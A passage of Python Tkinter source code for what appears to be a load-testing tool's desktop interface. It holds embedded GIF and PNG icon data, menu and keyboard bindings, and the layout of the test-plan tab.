fb\xfb\xfb\xfc\xfc\xfc\xfd\xfd\xfd\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff!\xfe\x11Created with GIMP\x00!\xf9\x04\x01\n\x00\xff\x00,\x00\x00\x00\x00\x10\x00\x10\x00\x00\x08\xdd\x00\xff\xfd\xbb\x01"\x83\xc0\x83\x08\x0f\xb6Q\xc3\xe6\x02\xa1\x87\x10#\x1e\x8c\xb1\xa4\xc2\x9f\x8b\x7f\xfa\xf0\xd9\xa8g\x90\xc0\x85k"`\xbc\xd8\xa7\xe4\x1eA\x07Y(y\x00\x08\x10\x93$H\x8c\x10\x19\xc2\x07\xe5\xbf6f\xd68\x08\x14(\t\x98/]\xb6\xfc\xe0\xf3\xe7\xe0\x8a"\r\x04\t\x929\x04\xc8\x0e\x1dz\xfc|\xcc\xc9`\x90\xa0\x96\x80l\xa4\xc0\x93\xe7\xceA\x12A\x14\\\x15\xc2\x03\x87\x8a&\x1f\xea\xd8\x99\x9a&\x81\xa0\x1a2\\\x9482\xc6\x07\x077\x07G\xf40\x10\x08F\x192c\xc4P\xd1B\xc3\xc2\xd43\x04\x04\x9d 3E\n\x14\'O\xae\xa0X 0D\x8e\x01\x82D\x84\xf1\x92\x05K\x14+3(\x1c\x16P\xc8C\x87\r\x1aLTy\x81\x81\xce\xc1\x02\x13\x02\xcc\x91\x13\x07\xce\x1b\t- pA\x83\x10@\xc2\x7f\x08\x0e \x0c\x08\x00;'
self.b64["report_word"] = b'GIF89a\x10\x00\x10\x00\xe7\x8c\x00~1\x18\xabB!\xacC!\xaeF"\xaeI"\xa5K,\xafK#\xb1N#\xb2Q$\xb2R%\xb4U%\xb5V&Rg\xc1Uf\xc4Tf\xc8\xb7Y&\xb7[&Vh\xc7\xaf]5Wj\xc8\xb8^\'Xk\xc8\xb8_\'Ym\xca\xbaa([o\xcaQt\xd1[s\xca\\v\xcc[y\xd0V{\xd0^{\xceZ}\xd3X\x7f\xd0\\\x7f\xd0g|\xcfd}\xd1T\x82\xd1f~\xd0e\x7f\xd1d\x80\xd1h\x80\xd1c\x83\xd0]\x85\xd2\xbexI\xb3ych\x85\xd3c\x88\xd0\xb3|df\x88\xd0\xb5\x7feg\x8d\xd1m\x8c\xd4\xb5\x82f\xb7\x83gi\x91\xd3s\x8e\xd5n\x90\xd4d\x94\xcbv\x8e\xd4w\x8e\xd5j\x93\xd3\xb9\x87gy\x8f\xd5i\x94\xd4z\x8f\xd5k\x94\xd3o\x93\xd5x\x92\xd6p\x95\xd6k\x97\xd3k\x98\xd3x\x95\xd6\xc2\x8bd{\x95\xd7l\x9a\xd4m\x9a\xd4h\x9d\xd5\xbf\x8fam\x9c\xd4l\x9d\xd5\xc1\x92cx\x9c\xd7\x83\x9a\xd7\xc2\x94d\xc3\x96e\xc4\x99f\xc5\x9ag\x8b\xa1\xda\x90\xa5\xdb\x93\xa5\xdb\x93\xaa\xdd\xa4\xb2\xe1\xa9\xb7\xe3\xb0\xc1\xe6\xca\xc6\xc4\xcc\xc6\xc0\xc7\xc7\xc7\xcd\xc6\xc0\xca\xc7\xc4\xcd\xc7\xc0\xcd\xc7\xc1\xcb\xcb\xcb\xcc\xcc\xcc\xcd\xcd\xcd\xd1\xd1\xd1\xd2\xd2\xd2\xd3\xd3\xd3\xd4\xd4\xd4\xd5\xd5\xd5\xd8\xd8\xd8\xdc\xdc\xdc\xd9\xdf\xf2\xda\xdf\xf2\xe9\xe9\xe9\xe6\xea\xf7\xe9\xec\xf7\xe9\xed\xf8\xed\xed\xed\xec\xef\xf8\xed\xef\xf8\xed\xef\xf9\xed\xf0\xf9\xef\xf1\xf9\xf2\xf2\xf2\xf4\xf4\xf4\xf5\xf5\xf5\xf7\xf7\xf7\xf6\xf7\xfc\xf8\xf8\xf8\xf7\xf9\xfc\xf9\xf9\xf9\xfa\xfa\xfa\xfb\xfb\xfb\xfb\xfb\xfe\xfb\xfc\xfe\xfc\xfc\xfc\xfc\xfc\xfe\xfd\xfd\xfd\xfd\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff!\xfe\x11Created with GIMP\x00!\xf9\x04\x01\n\x00\xff\x00,\x00\x00\x00\x00\x10\x00\x10\x00\x00\x08\xde\x00\xff\xfdK\xc2\x02\x83\xc0\x83\x08\x0f\x9e\x19S\xc6\x02\xa2\x87\x10#\x1e\xf4q\x85\xc2\x9f\x8b\x7f\xfc\xf4\xd9\xc8\xa7\x90\xc0\x85d \xfci\xf2D\x07\x13#Bn\xccx\xd1@\xa0\r+\x0f\x02A\x11t\xa8\xa6\xcd:-\xcf|!\xb3`\xd0\x92DR\x80l\xc9\xa1\x04\x8b\x88\x96\xffjTQ@\xe8\xc8\xa1"C\xbc\xac\xc82\xa5C\xce\x9d\t\n\xf58\x84\x84\x06\x91\x10;HhA*\x83\n\x02B3\x0e\xe1(\x81"\x85\x06\x13p\xae\x8a9@(\x86!\x17\x1e\xba\x04\x01\xc1\xe5\x0eR\x18Q\x0c\x0cR\xb1\xe8\x04\x0f@?F\xcc\xd9s\x15\x0c\x01B\x1f\xe8\xe8\xc9\x83\xe7\x8e\xe58H[8\x19@\x88\xc3\x06\x06\x19.T\x98\x10\xc1Ac\x01\x8a\n\x05\xeac\xa7\x8d\x1cF\xb0\x0f\x16\x90\x10\xe0\x8d\x1b6j\xd2\xacIc\x06M\x18\x84\x00\x12\n\xff\x17\x10\x00;'
# png's
# b64["New"] = """iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAAK/INwWK6QAAABl0RVh0\nU29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC4SURBVCjPdZFbDsIgEEWnrsMm7oGGfZro\nhxvU+Iq1TyjU60Bf1pac4Yc5YS4ZAtGWBMk/drQBOVwJlZrWYkLhsB8UV9K0BUrPGy9cWbng2CtE\nEUmLGppPjRwpbixUKHBiZRS0p+ZGhvs4irNEvWD8heHpbsyDXznPhYFOyTjJc13olIqzZCHBouE0\nFRMUjA+s1gTjaRgVFpqRwC8mfoXPPEVPS7LbRaJL2y7bOifRCTEli3U7BMWgLzKlW/CuebZPAAAA\nAElFTkSuQmCC\n"""
# b64["Save"] = """iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0\nU29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAH+SURBVBgZBcE9i11VGAbQtc/sO0OCkqhg\nhEREAwpWAWUg8aMVf4KFaJEqQtAipTZWViKiCGOh2Ap2gmJhlSIWFsFOxUK0EsUM3pl79n4f12qH\nb3z3Fh7D83gC95GOJsDe0ixLk5Qq/+xv/Lw9Xd+78/HLX3Y8fXTr2nWapy4eCFKxG7Fby97SnDlY\ntMbxthyfzHO//nl85fNvfvnk8MbX5xa8IHx1518Vkrj54Q+qQms2vVmWZjdiu5ZR2rT01166/NCZ\ng/2PFjwSVMU6yjoC1oq+x6Y3VbHdlXWExPd379nf7Nmejv2Os6OC2O4KLK0RNn3RNCdr2Z5GJSpU\n4o+/TkhaJ30mEk5HwNuvX7Hpi76wzvjvtIwqVUSkyjqmpHS0mki8+9mPWmuWxqYvGkbFGCUAOH/+\nQevYI9GFSqmaHr5wkUYTAlGhqiRRiaqiNes6SOkwJwnQEqBRRRJEgkRLJGVdm6R0GLMQENE0Ekmk\nSkQSVVMqopyuIaUTs0J455VLAAAAAODW0U/GiKT0pTWziEj44PZ1AAAAcPPqkTmH3QiJrlEVDXDt\n0qsAAAAAapa5BqUnyaw0Am7//gUAAAB49tEXzTmtM5KkV/y2G/X4M5fPao03n/sUAAAAwIX7y5yB\nv9vhjW/fT/IkuSp5gJKElKRISYoUiSRIyD1tufs/IXxui20QsKIAAAAASUVORK5CYII=\n"""
# b64["SaveAs"] = """iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0\nU29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJFSURBVDjLpZPNS1RhFMZ/5733zkzjR/ZB\nCUpoJdUiBCkll4m0CUKJIGpVSLjyL2gntDFop6shAolWbcSNIW0ircHBUHCloo3VjNY0jjP3831b\nWA5ai8Bnfc7vPOfhHDHGcBjZAENji7N1cSj7IcdqY2zkKoiC2qSFNsKPYoXpTPbBynj/4j8BlbLL\n9c4L3OqoZWLmM4/vXdpX9OJtHq0lBXQdBIgxhvtPZmZ7ui+yspZrjwKfWExxtMbh66YLAgj4geZn\nyd2YzmT7Vsb75/c5UEqwDLgVl55r57hxuYY3c18Y6mtDgO1KSBBETMwV0VpeA2f3ARKOwvUCcgWX\n9bzH0NhqvC4Okx9zBzNpPdGQ4OHIrJnOZLtWxvs/2AChNnhRiFIKy8j/ZjILiALYLgc4YnO8zsJS\nIWUv4Pt2CMBU+tteoxtC0YN8wUdEV1eItMHCIdSagru5l0kQaZ4OdqC1wQAWhqQNnudR3PGrANu2\naGmE9FJATSxJwinhegHDr1ZRAmGk0ZHGAMYYMJB0dh0ogOVs6VNqcoGtosYv1+9lYikHERvBQsQC\nozBGCMIQ3w+rDtKjvQMAd4bfL59vFqYzQasjNoM36wi1vzvHgBFNwo4x8nKNreJOFfBHy9nSXGpy\noSPSYOGgqZCae8TJ5BkERb68zsDVZygSlD3/b0B6tPf2byempRFO127T095JQ6wJFBTcJk7VhCRj\nYItUT/mgrgxOvWtrPtLdEG8gYdcT6gDRGjERWsosrS2TKwbMP78rcth3/gX/0SEvLZFG1QAAAABJ\nRU5ErkJggg==\n"""
# b64["Open"] = """iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0\nU29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAI5SURBVBgZpcE9SFVhAMfh33vue49X85ih\n1tUI0cXbF7QkCA5BQVAtbU3VUC3O0dbHWHNQUxE0NQYREUU0BoHUYB9qVJRdLe/V+6HnnPe8/4xu\n5NIQPo+RxEbYdw/2Txa6du0yJuAvEddmPmeuOgbErGf4pTFy7LVjjTUKSjvGb+eNMSDWCIzBrX4f\nLk9e+SwQLbmwS8rS+frc0/PAPdZYnFbxSVv87QZZkoOgC2MiCgMHGRi9GiIBHuQBYYLO4vv74xeB\ne6yxpCaQT8iSEHnhVz6RNsrU55+RL/SDUvAJkgMcUelCiPwgLRajgncrJE1Q0iCtLROVTlHo2QkY\nQIAHCRDGdkMWWFosaYBt30r3zjOABwnh8ckXXPUJ04u9fFgeZGGlSHtbnp5NdQbcFkOLJZWUreKb\nr1C2hLIaclV8WmG6UuRjeoDSUCd78jnmlxIqtZjZztN2N78FxEje4dMFfLKAT8r4pIzSBabqBxne\n1kElNswtZziTY/vWiObmsRwtlkQyZMgtIldFroqyJeSWqK8khGEeFzu8IHaiYHM4Wf6wSnzFNX90\npPUwwkeBlAcfgXrpaMuTpBlpBs6LX2Sg2Wjwh9VqfG325vFRxCEMEetEI8P5WvFILmoPiTNhA8Pc\nYop+vNWjSxOnDl95fMdI4l+uP/w41GY5uaUzvOwFy43Yu/KUGe/7ahozz2uzUy/PGUn8j/uXj54t\n9hev9Q3t637z4mHTSOJ/3Z0onegf3nvLe9duJLERPwFUpzZM2BWatgAAAABJRU5ErkJggg==\n"""
# b64["Play"] = """iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0\nU29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAEdSURBVDjLY/j//z8DJZiB6gY0rH7xpW7l\ni3YKDHj1v2bli38lix61k2VA5fJn/9eeeP+/fcOL/wlT7/aRbEDegkf/Vxx/93/xobf/S5c8/u/e\ncm0eSQYkTX/4f+HBN/8nbX/xf+bul/8Tp9/9r1N0dgnRBgT33QZqfPW/YdXj/42rH//v2vjkv3fH\ntf9SScceEWWAc8u1/xO2Pv9fsvjB//IlD4CGPPrvXH/5v2Tksc1EGWBaful/+/on/4sW3gfGxsP/\n9lUX/ksEH1gj6rqdhSgDlPPO/q9b8fB/5bIH/23LL/wXD9i7kqRAlEo6+b908f3/NiXn/4t57V1E\ncjRKRB75b1145r+o684FZCUkMb8D/0Uct88euMxEKgYA7Ojrv4CgE7EAAAAASUVORK5CYII=\n"""
# b64["Stop"] = """iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0\nU29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJOSURBVDjLpZI9T1RBFIaf3buAoBgJ8rl6\nQVBJVNDCShMLOhBj6T+wNUaDjY0WmpBIgYpAjL/AShJ+gVYYYRPIony5IETkQxZ2770zc2fGYpfl\nQy2MJzk5J5M5z/vO5ESstfxPxA4erL4Zuh4pLnoaiUZdq7XAGKzRJVbIBZ3JPLJaD9c/eCj/CFgZ\nfNl5qK5q8EhTXdxxLKgQjAFr0NK0ppOpt9n51D2gd2cmsvOElVcvOoprKvuPtriNzsY8rH+H0ECo\nQEg4WklY1czP8akZby51p6G3b6QAWBl43llSVTlUfuZE3NmYh9Vl0HkHSuVq4ENFNWFdC+uJ5JI/\n9/V2Y//rkShA1HF6yk/VxJ0f07CcgkCB7+fSC8Dzcy7mp4l9/khlUzwecaI9hT+wRrsOISylcsph\nCFLl1RXIvBMpYDZJrKYRjHELACNEgC/KCQQofWBQ5nuV64UAP8AEfrDrQEiLlJD18+p7BguwfAoB\nUmKEsLsAGZSiFWxtgWWP4gGAkuB5YDRWylKAKIDJZBa1H8Kx47C1Cdls7qLnQTZffQ+20lB7EiU1\nent7sQBQ6+vdq2PJ5dC9ABW1sJnOQbL5Qc/HpNOYehf/4lW+jY4vh2tr3fsWafrWzRtlDW5f9aVz\njUVj72FmCqzBypBQCKzbjLp8jZUPo7OZyYm7bYkvw/sAAFMd7V3lp5sGqs+fjRcZhVYKY0xupwys\nfpogk0jcb5ucffbbKu9Esv1Kl1N2+Ekk5rg2DIXRmog1Jdr3F/Tm5mO0edc6MSP/CvjX+AV0DoH1\nZ+D54gAAAABJRU5ErkJggg==\n"""
#
#
if icontext in self.b64:
self.imgdata[icontext] = tk.PhotoImage(data=self.b64[icontext])
base.debugmsg(9, "self.imgdata[icontext]:", self.imgdata[icontext])
return self.imgdata[icontext]
def BuildUI(self):
p = None
r = None
a = None
self.columnconfigure(0, weight=1)
self.rowconfigure(0, weight=1)
self.bind("<Configure>", self.save_window_size)
base.debugmsg(6, "self.tabs")
self.tabs = ttk.Notebook(self)
base.debugmsg(6, "p")
p = ttk.Frame(self.tabs) # first page, which would get widgets gridded into it
p.grid(row=0, column=0, sticky="nsew")
base.debugmsg(6, "r")
r = ttk.Frame(self.tabs) # second page
r.grid(row=0, column=0, sticky="nsew")
base.debugmsg(6, "a")
a = ttk.Frame(self.tabs) # 3rd page
a.grid(row=0, column=0, sticky="nsew")
self.tabs.add(p, text='Plan')
self.tabs.add(r, text='Run')
self.tabs.add(a, text='Agents')
self.tabs.grid(column=0, row=0, sticky="nsew")
base.debugmsg(6, "BuildMenu")
self.BuildMenu()
base.debugmsg(6, "BuildPlan")
self.BuildPlan(p)
base.debugmsg(6, "BuildRun")
self.BuildRun(r)
base.debugmsg(6, "BuildAgent")
self.BuildAgent(a)
def BuildMenu(self):
# creating a root menu to insert all the sub menus
window = self.master
root_menu = tk.Menu(window)
window.config(menu = root_menu)
# sub_menu.add_command(label="Print", command=self.print_, accelerator="Command-P")
# https://stackoverflow.com/questions/16847584/how-do-i-get-the-mac-command-symbol-in-a-tkinter-menu
# creating sub menus in the root menu
file_menu = tk.Menu(root_menu) # it intializes a new su menu in the root menu
root_menu.add_cascade(label = "File", menu = file_menu) # it creates the name of the sub menu
accelkey = "Ctrl"
if sys.platform.startswith('darwin'):
accelkey = "Command"
file_menu.add_command(label = "New", command = self.mnu_file_New, accelerator="{}-n".format(accelkey)) # it adds a option to the sub menu 'command' parameter is used to do some action
window.bind('n', self.mnu_file_New)
file_menu.add_command(label = "Open", command = self.mnu_file_Open, accelerator="{}-o".format(accelkey))
window.bind('o', self.mnu_file_Open)
file_menu.add_command(label = "Save", command = self.mnu_file_Save, accelerator="{}-s".format(accelkey))
window.bind('s', self.mnu_file_Save)
file_menu.add_command(label = "Save As", command = self.mnu_file_SaveAs, accelerator="{}-a".format(accelkey))
window.bind('a', self.mnu_file_SaveAs)
file_menu.add_command(label = "Close", command = self.mnu_file_Close, accelerator="{}-l".format(accelkey))
window.bind('l', self.mnu_file_Close)
file_menu.add_separator() # it adds a line after the 'Open files' option
# if sys.platform.startswith('darwin'):
# file_menu.add_command(label = "Quit", command = self.on_closing, accelerator="Command-q")
# window.bind('q', self.on_closing) # This doesn't work yet, the mac python overrides it ?
# else:
file_menu.add_command(label = "Exit", command = self.on_closing, accelerator="{}-x".format(accelkey))
window.bind('x', self.on_closing)
# creting another sub menu
run_menu = tk.Menu(root_menu)
root_menu.add_cascade(label = "Run", menu = run_menu)
run_menu.add_command(label = "Play", command = self.ClickPlay, accelerator="{}-p".format(accelkey))
window.bind('p', self.ClickPlay)
run_menu.add_command(label = "Stop", command = self.ClickStop, accelerator="{}-t".format(accelkey))
window.bind('t', self.ClickStop)
window.protocol("WM_DELETE_WINDOW", self.on_closing)
window.protocol("WM_QUERYENDSESSION", self.on_closing)
window.protocol("WM_ENDSESSION", self.on_closing)
window.protocol("WM_QUIT", self.on_closing)
window.protocol("WM_DESTROY", self.on_closing)
window.protocol("WM_CLOSE", self.on_closing)
window.protocol("CTRL_SHUTDOWN_EVENT", self.on_closing)
window.protocol("HWND_MESSAGE", self.on_closing)
signal.signal(signal.SIGTERM, self.on_closing)
def save_window_size(self, event):
base.debugmsg(6, "save_window_size")
try:
base.debugmsg(6, "winfo_width:", self.winfo_width(), " winfo_height:",self.winfo_height())
base.config['GUI']['win_width'] = str(self.winfo_width())
base.config['GUI']['win_height'] = str(self.winfo_height())
base.saveini()
except e:
base.debugmsg(6, "save_window_size except:", e)
return False
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# Plan
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
def BuildPlan(self, p):
base.debugmsg(6, "config")
base.debugmsg(6, "updateTitle")
self.updateTitle()
planrow = 0
p.columnconfigure(planrow, weight=1)
p.rowconfigure(planrow, weight=0) # weight=0 means don't resize with other grid rows / keep a fixed size
# Button Bar
base.debugmsg(6, "Button Bar")
bbar = ttk.Frame(p)
bbar.grid(column=0, row=planrow, sticky="nsew")
bbargrid = ttk.Frame(bbar)
bbargrid.grid(row=0, column=0, sticky="nsew")
# new
base.debugmsg(7, "Button New")
btnno = 0
icontext = "New"
base.debugmsg(9, "self.imgdata:", self.imgdata)
self.iconew = self.get_icon(icontext)
base.debugmsg(9, "self.imgdata:", self.imgdata)
base.debugmsg(9, "self.imgdata:[",icontext,"]", self.imgdata[icontext])
bnew = ttk.Button(bbargrid, image=self.imgdata[icontext], padding='3 3 3 3', command=self.mnu_file_New)
# bnew = ttk.Button(bbargrid, image=self.iconew, padding='3 3 3 3', command=self.mnu_file_New)
# bnew = ttk.Button(bbargrid, text="New", command=self.mnu_file_New)
bnew.grid(column=btnno, row=0, sticky="nsew")
# open
base.debugmsg(7, "Button Open")
btnno += 1
icontext = "Open"
base.debugmsg(9, "self.imgdata:", self.imgdata)
self.icoopen = self.get_icon(icontext)
base.debugmsg(9, "self.imgdata:", self.imgdata)
base.debugmsg(9, "self.imgdata:[",icontext,"]", self.imgdata[icontext])
bopen = ttk.Button(bbargrid, image=self.imgdata[icontext], padding='3 3 3 3', command=self.mnu_file_Open)
# self.icoopen = self.get_icon("Open")
# bopen = ttk.Button(bbargrid, image=self.icoopen, padding='3 3 3 3', command=self.mnu_file_Open)
# bopen = ttk.Button(bbargrid, text="Open", command=self.mnu_file_Open)
bopen.grid(column=btnno, row=0, sticky="nsew")
# save
base.debugmsg(7, "Button Save")
btnno += 1
icontext = "Save"
base.debugmsg(9, "self.imgdata:", self.imgdata)
self.icoSave = self.get_icon(icontext)
base.debugmsg(9, "self.imgdata:", self.imgdata)
base.debugmsg(9, "self.imgdata:[",icontext,"]", self.imgdata[icontext])
bSave = ttk.Button(bbargrid, image=self.imgdata[icontext], padding='3 3 3 3', command=self.mnu_file_Save)
# bSave = ttk.Button(bbargrid, image=self.icoSave, padding='3 3 3 3', command=self.mnu_file_Save)
# bSave = ttk.Button(bbargrid, text="Save", command=self.mnu_file_Save)
bSave.grid(column=btnno, row=0, sticky="nsew")
# play
base.debugmsg(7, "Button Play")
btnno += 1
icontext = "Play"
base.debugmsg(9, "self.imgdata:", self.imgdata)
self.icoPlay = self.get_icon(icontext)
base.debugmsg(9, "self.imgdata:", self.imgdata)
base.debugmsg(9, "self.imgdata:[",icontext,"]", self.imgdata[icontext])
bPlay = ttk.Button(bbargrid, image=self.imgdata[icontext], padding='3 3 3 3', text="Play", command=self.ClickPlay)
# bPlay = ttk.Button(bbargrid, image=self.icoPlay, padding='3 3 3 3', command=self.ClickPlay)
# bPlay = ttk.Button(bbargrid, text="Play", command=self.ClickPlay)
bPlay.grid(column=btnno, row=0, sticky="nsew")
planrow += 1
# p.columnconfigure(0, weight=1)
p.rowconfigure(planrow, weight=1)
# Plan Graph
base.debugmsg(6, "Plan Graph")
self.pln_graph = tk.Canvas(p)
self.pln_graph.grid(column=0, row=planrow, sticky="nsew") # sticky="wens"
# self.pln_graph.columnconfigure(0, weight=1)
# self.pln_graph.rowconfigure(0, weight=1)
self.pln_graph.bind("<Configure>", self.CanvasResize)
planrow += 1
# p.columnconfigure(0, weight=1)
p.rowconfigure(planrow, weight=1)
# Plan scripts
base.debugmsg(6, "Plan scripts")
#
# # This partially worked but scroll bars ar behind the content making it dificult to scroll
sg = ttk.Frame(p)
# sg = Scrollable(p, width=32)
sg.grid(column=0, row=planrow, sticky="nsew")
sg.columnconfigure(0, weight=1)
sg.rowconfigure(planrow, weight=0)
self.scrollable_sg = ScrollableXY(sg)
self.scriptgrid = ttk.Frame(self.scrollable_sg)
self.scriptgrid.grid(row=0, column=0, sticky="nsew")
self.scrollable_sg.canvas.columnconfigure(0, weight=1)
self.scrollable_sg.canvas.rowconfigure(0, weight=1)
# sg = ttk.Frame(p)
# # sg = Scrollable(p, width=32)
# sg.grid(column=0, row=planrow, sticky="nsew")
# sg.columnconfigure(0, weight=1)
# sg.rowconfigure(planrow, weight=0)
# scrollable_sg = Scrollable(sg, width=32)
# self.scrollable_sg = Scrollable(sg)
# scrollable_sg.columnconfigure(0, weight=1)
# scrollable_sg.rowconfigure(0, weight=1)
# self.scriptgrid = Scrollable(sg)
# self.scriptgrid = Scrollable(sg, width=32)
# self.scriptgrid = ttk.Frame(self.scrollable_sg)
# self.scriptgrid = ttk.Frame(sg)
# self.scriptgrid.grid(row=0, column=0, sticky="nsew")
# label row 0 of sg
self.scriptgrid.columnconfigure(self.plancolidx, weight=0)
idx = ttk.Label(self.scriptgrid, text="Index")
idx.grid(column=self.plancolidx, row=0, sticky="nsew")
self.scriptgrid.columnconfigure(self.plancolusr, weight=0)
usr = ttk.Label(self.scriptgrid, text="Users")
usr.grid(column=self.plancolusr, row=0, sticky="nsew")
self.scriptgrid.columnconfigure(self.plancoldly, weight=0)
usr = ttk.Label(self.scriptgrid, text="Delay")
usr.grid(column=self.plancoldly, row=0, sticky="nsew")
self.scriptgrid.columnconfigure(self.plancolrmp, weight=0)
usr = ttk.Label(self.scriptgrid, text="Ramp Up")
usr.grid(column=self.plancolrmp, row=0, sticky="nsew")
self.scriptgrid.columnconfigure(self.plancolrun, weight=0)
usr = ttk.Label(self.scriptgrid, text="Run")
usr.grid(column=self.plancolrun, row=0, sticky="nsew")
# self.scriptgrid.columnconfigure(self.plancolnme, weight=5)
# nme = ttk.Label(self.scriptgrid, text="Name")
# nme.grid(column=self.plancolnme, row=0, sticky="nsew")
self.scriptgrid.columnconfigure(self.plancolscr, weight=5)
scr = ttk.Label(self.scriptgrid, text="Script")
scr.grid(column=self.plancolscr, row=0, sticky="nsew")
self.scriptgrid.columnconfigure(self.plancoltst, weight=5)
tst = ttk.Label(self.scriptgrid, text="Test")
tst.grid(column=self.plancoltst, row=0, sticky="nsew")
self.scriptgrid.columnconfigure(self.plancoladd, weight=0)
new = ttk.Button(self.scriptgrid, text="+", command=base.addScriptRow, width=1)
new.grid(column=self.plancoladd, row=0, sticky="nsew")
# self.scrollable_sg.update()
def CanvasResize(self, event):
base.debugmsg(6, "event:", event)
self.pln_update_graph()
def ClickPlay(self, _event=None):
base.debugmsg(6, "Test Started: ", int(time.time()), "[",datetime.now().isoformat(sep=' ',timespec='seconds'),"]")
self.tabs.select(1)
core.ClickPlay()
def pln_update_graph(self):
base.debugmsg(6, "pln_update_graph")
base.debugmsg(6, "pln_graph:", self.pln_graph)
base.debugmsg(6, "scriptlist:", base.scriptlist)
try:
base.debugmsg(6, "winfo_width:", self.pln_graph.winfo_width(), " winfo_height:",self.pln_graph.winfo_height())
graphh = self.pln_graph.winfo_height()
graphw = self.pln_graph.winfo_width()
except:
return False
base.debugmsg(6, "graphh", graphh, "graphw", graphw)
axissz = 10
if graphw > graphh:
# axissz = int(graphh * 0.1)
axissz = (graphh * 0.1)
else:
# axissz = int(graphw * 0.1)
axissz = (graphw * 0.1)
base.debugmsg(6, 'axissz:', axissz)
# work out max users
